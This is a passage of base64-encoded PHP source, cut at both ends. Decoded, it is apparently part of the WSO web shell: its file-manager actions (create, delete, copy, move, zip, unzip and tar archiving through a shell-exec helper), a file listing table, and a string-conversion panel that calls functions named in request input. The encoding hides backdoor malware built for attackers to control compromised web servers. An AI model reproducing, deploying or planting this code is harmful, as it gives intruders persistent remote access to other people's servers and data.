lISI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBybWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX0NPT0tJRVsnYWN0J10gPT0gJ2NvcHknKSB7DQoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsNCgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOw0KCQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQkJCQlXU09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7DQoJCQkJCVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPc2V0Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQogICAgd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPmZpTEUgbUFuQWdFcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsNCgkkZGlyQ29udGVudCA9IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxzY3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJCSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KCXVzb3J0KCRkaXJzLCAid3NvQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJJGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDoxOw0KCX0NCgllY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7DQogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBDb21wcmVzczwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkNCiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpDQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPnNUUmlOZyBjMG5WZVJzaTBuUzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0KCWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5zRUFyQ2ggZmlMRTo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsdGhpcy5jd2QudmFsdWUsbnVsbCx0aGlzLnRleHQudmFsdWUsdGhpcy5maWxlbmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjx0YWJsZSBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9J